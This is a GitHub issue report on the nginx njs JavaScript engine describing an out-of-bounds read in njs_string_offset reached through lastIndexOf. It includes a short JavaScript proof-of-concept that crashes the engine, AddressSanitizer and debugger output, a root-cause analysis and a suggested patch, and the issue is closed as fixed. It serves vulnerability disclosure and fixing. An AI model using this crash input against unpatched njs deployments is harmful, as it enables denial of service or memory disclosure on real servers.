nginx / **njs** Public

Code   Issues 41   Pull requests 2   Actions   Security   Insights

New issue

Jump to bottom

Another way to trigger SEGV in njs_utf8_next cause oob read #569

Closed   **ret2ddme** opened this issue on Aug 24 · 2 comments

Assignees

Labels   bug   fuzzer

ret2ddme commented on Aug 24

the call stack is different with #522

```
Environment
commit: 569292e0a74f2b1ec09566f3329f82bdd0d58e87
version: 0.7.7
Build   :
     ./configure --cc=clang --address-sanitizer=YES
     make
```

Poc

```
function placeholder(){}
function main() {
var v2 = String.fromCharCode(-950135168);
var v3 = v2.trimEnd(String);
var v8 = 512 >>> "multiline";
var v9 = String.fromCharCode(788580.490736339);
var v10 = v9.padEnd(v8,v3);
var v11 = v10.lastIndexOf(788580.490736339);
}
main();
```

Asan

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1550478==ERROR: AddressSanitizer: SEGV on unknown address 0x6170bebedece (pc 0x000000505f0e bp
0x7fff88dc8f70 sp 0x7fff88dc8e40 T0)
==1550478==The signal is caused by a READ memory access.
    #0 0x505f0e in njs_utf8_next /data/test-njs/njs/src/njs_utf8.h:54:20
    #1 0x505f0e in njs_string_offset /data/test-njs/njs/src/njs_string.c:2545:17
    #2 0x505f0e in njs_string_prototype_last_index_of /data/test-njs/njs/src/njs_string.c:2309:13
    #3 0x53df7c in njs_function_native_call /data/test-njs/njs/src/njs_function.c:742:11
    #4 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23
    #5 0x53d466 in njs_function_lambda_call /data/test-njs/njs/src/njs_function.c:693:11
    #6 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23
    #7 0x4df05a in njs_vm_start /data/test-njs/njs/src/njs_vm.c:543:11
    #8 0x4c7f89 in njs_process_script /data/test-njs/njs/src/njs_shell.c:919:19
    #9 0x4c73b1 in njs_process_file /data/test-njs/njs/src/njs_shell.c:648:11
    #10 0x4c73b1 in main /data/test-njs/njs/src/njs_shell.c:314:15
    #11 0x7f75066e7082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-
start.c:308:16
    #12 0x41daad in _start (/data/test-njs/njs/build/njs+0x41daad)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /data/test-njs/njs/src/njs_utf8.h:54:20 in njs_utf8_next
==1550478==ABORTING
```

Credit
ret2ddme

xeioex added bug fuzzer labels on Aug 24

ret2ddme commented on Aug 25 Author

Analysis

The root case is

```
const u_char *
njs_string_offset(const u_char *start, const u_char *end, size_t index)
{
    uint32_t    *map;
    njs_uint_t  skip;

    if (index >= NJS_STRING_MAP_STRIDE) {
        map = njs_string_map_start(end);  [1]<--- create and init map

        if (map[0] == 0) {
            njs_string_offset_map_init(start, end - start);  [2]<----- calculate some value and assig
        }
        start += map[index / NJS_STRING_MAP_STRIDE - 1];  [3]<------- add map with start, **access ar
    }

    for (skip = index % NJS_STRING_MAP_STRIDE; skip != 0; skip--) {
        start = njs_utf8_next(start, end);                [4] <----- crash here
    }

    return start;
}
```

We can control `index` to be a large number just like 0x1f0 in `poc`. After `njs_string_map_start` the map is

```
pwndbg> p map
$37 = (uint32_t *) 0x617000002214
pwndbg> x/20gx 0x617000002214
0x617000002214: 0xbebebebe00000000      0xbebebebebebebebe
0x617000002224: 0xbebebebebebebebe      0xbebebebebebebebe
0x617000002234: 0xbebebebebebebebe      0xbebebebebebebebe
0x617000002244: 0xbebebebebebebebe      0x00000040bebebebe
0x617000002254: 0x0000004000006100      0x000004a000006100
0x617000002264: 0xbebe020100006190      0x0000200000000250
0x617000002274: 0x0000000000006170      0x0000000000000000
0x617000002284: 0x0000000000000000      0x0000000000000000
0x617000002294: 0x0000000000000000      0x0000000000000000
0x6170000022a4: 0x0000000000000000      0x0000000000000000
```

And after some process of `njs_string_offset_map_init` func, the map size is 5

```
pwndbg> p map
$36 = (uint32_t *) 0x617000002214
pwndbg> x/20gx 0x617000002214
0x617000002214: 0x000000c000000060      0x0000018000000120
0x617000002224: 0xbebebebe000001e0      0xbebebebebebebebe
0x617000002234: 0xbebebebebebebebe      0xbebebebebebebebe
0x617000002244: 0xbebebebebebebebe      0x00000040bebebebe
0x617000002254: 0x0000004000006100      0x000004a000006100
0x617000002264: 0xbebe020100006190      0x0000200000000250
0x617000002274: 0x0000000000006170      0x0000000000000000
0x617000002284: 0x0000000000000000      0x0000000000000000
0x617000002294: 0x0000000000000000      0x0000000000000000
0x6170000022a4: 0x0000000000000000      0x0000000000000000
```

`NJS_STRING_MAP_STRIDE` is 32, which set in `njs_string.h`. Then `index / NJS_STRING_MAP_STRIDE - 1` large than the size of `map` cause oob read.

In poc `map[index / NJS_STRING_MAP_STRIDE - 1]` get `0xbebebebe` then crash

ret2ddme commented on Aug 25 Author

Demo patch

```
diff --git a/src/njs_string.c b/src/njs_string.c
index 83cede5..8b3a31e 100644
--- a/src/njs_string.c
+++ b/src/njs_string.c
@@ -2307,7 +2307,10 @@ njs_string_prototype_last_index_of(njs_vm_t *vm, njs_value_t *args,
         }

         p = njs_string_offset(string.start, end, index);
-
+        if (p == (u_char*)NJS_ERROR) {
+            njs_error(vm, "index too large");
+            return NJS_ERROR;
+        }
         for (; p >= string.start; p = njs_utf8_prev(p)) {
             if ((p + s.size) <= end && memcmp(p, s.start, s.size) == 0) {
                 goto done;
@@ -2530,14 +2533,16 @@ njs_string_offset(const u_char *start, const u_char *end, size_t index)
 {
     uint32_t    *map;
     njs_uint_t  skip;
-
+    njs_uint_t  size = 0;
     if (index >= NJS_STRING_MAP_STRIDE) {
         map = njs_string_map_start(end);

         if (map[0] == 0) {
-            njs_string_offset_map_init(start, end - start);
+            size = njs_string_offset_map_init(start, end - start);
+        }
+        if((index / NJS_STRING_MAP_STRIDE) > size){
+            return (u_char*)NJS_ERROR;
         }
-
         start += map[index / NJS_STRING_MAP_STRIDE - 1];
     }

@@ -2596,7 +2601,7 @@ njs_string_index(njs_string_prop_t *string, uint32_t offset)
 }


-void
+njs_uint_t
 njs_string_offset_map_init(const u_char *start, size_t size)
 {
     size_t        offset;
@@ -2622,6 +2627,8 @@ njs_string_offset_map_init(const u_char *start, size_t size)
         offset--;

     } while (p < end);
+
+    return n;
 }


diff --git a/src/njs_string.h b/src/njs_string.h
index 99f9d14..7e5eaab 100644
--- a/src/njs_string.h
+++ b/src/njs_string.h
@@ -244,7 +244,7 @@ njs_int_t njs_string_slice(njs_vm_t *vm, njs_value_t *dst,
 const u_char *njs_string_offset(const u_char *start, const u_char *end,
     size_t index);
 uint32_t njs_string_index(njs_string_prop_t *string, uint32_t offset);
-void njs_string_offset_map_init(const u_char *start, size_t size);
+njs_uint_t njs_string_offset_map_init(const u_char *start, size_t size);
 double njs_string_to_index(const njs_value_t *value);
 const char *njs_string_to_c_string(njs_vm_t *vm, njs_value_t *value);
 njs_int_t njs_string_encode_uri(njs_vm_t *vm, njs_value_t *args,
```

This fix is not standard, I just provides an idea.

ret2ddme changed the title ~~Another way to trigger SEGV in njs_utf8_next~~ **Another way to trigger SEGV in njs_utf8_next cause oob read** on Aug 25

xeioex self-assigned this on Aug 31

ret2ddme mentioned this issue on Sep 1

Type confusion in src/njs_vmcode.c found by code audit #572

Closed

nginx-hg-mirror closed this as completed in `b9aea58` on Sep 1

Assignees

xeioex

Labels

bug fuzzer

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants